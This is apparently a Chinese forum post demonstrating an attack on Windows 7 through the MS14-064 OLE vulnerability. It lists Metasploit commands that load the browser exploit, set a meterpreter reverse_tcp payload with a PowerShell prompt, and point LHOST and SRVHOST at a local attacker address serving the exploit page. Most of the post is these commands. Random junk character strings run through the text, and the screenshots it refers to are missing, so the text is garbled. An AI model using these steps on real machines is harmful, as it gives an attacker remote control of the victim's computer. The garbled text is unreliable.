MS14-064 漏洞测试入侵win7

admin

$ s9 _3 ]- a3 o! `! V6 @2 M 我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示

]. D- E! f# U# `( ^; F. o) ^% T# ]

$ W9 ] I5 |, B0 O! ^1 n 开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图： 3 c) V P/ s! z6 ]' p# C9 ]

" \) M- n( B! w( E6 B, M& o1 T

6 F2 v& I, w; r 然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp / Z2 L, g5 T i, F2 ?- H4 j6 L

1 ^. H3 G4 H3 x: N9 P7 |

0 m( }2 k+ ?- l& }+ J- S, ^ a0 U) Y             set AllowPowershellPrompt true

4 v6 H; R7 k D! n' B0 a; B: I             Set LHOST 192.168.0.109 : Y4 @1 X) ~: V7 e$ y, K: F" K

; b/ B4 i& v& }3 B1 R& K& W

            set SRVHOST 192.168.0.109

            Set uripath share : T# ]3 j; }, ?2 @/ k6 B+ r6 M2 m5 ^

7 Q1 j8 Y9 d; t5 P. f

            Set srvport 80

. ~ |& ~. `; l4 c1 ]( z) u0 F

  4 c' P* q9 @2 H4 i8 W' f' U/ f

  & u7 [% r& p2 a0 b; }6 d- a

6 ?4 A j1 y K5 r8 S

1 ]6 V4 m Z; p8 Y: b2 d& Z' N% p  

0 c, L6 h) V- R) C0 x8 z( w# M$ D

  - A) N+ i6 J( x( ~% V: H

6 g. u' z/ I' N, J+ h7 ^

  2 T5 d" o9 ?6 p. l1 a% ~; o4 Y

3 f6 H% R, Q1 q& b9 ~) q 下面我们来访问本地地址如图： ! b+ `3 m/ P) v. D+ L

6 O7 n: V# P8 R' E

  4 |3 g+ z3 h `1 y r$ P5 z6 ]& K" z

  & e7 {0 O, [# j% {/ ~

j% z C0 M8 ^$ E" U5 K: Y

* n. _4 w) ^% Q. o5 E; i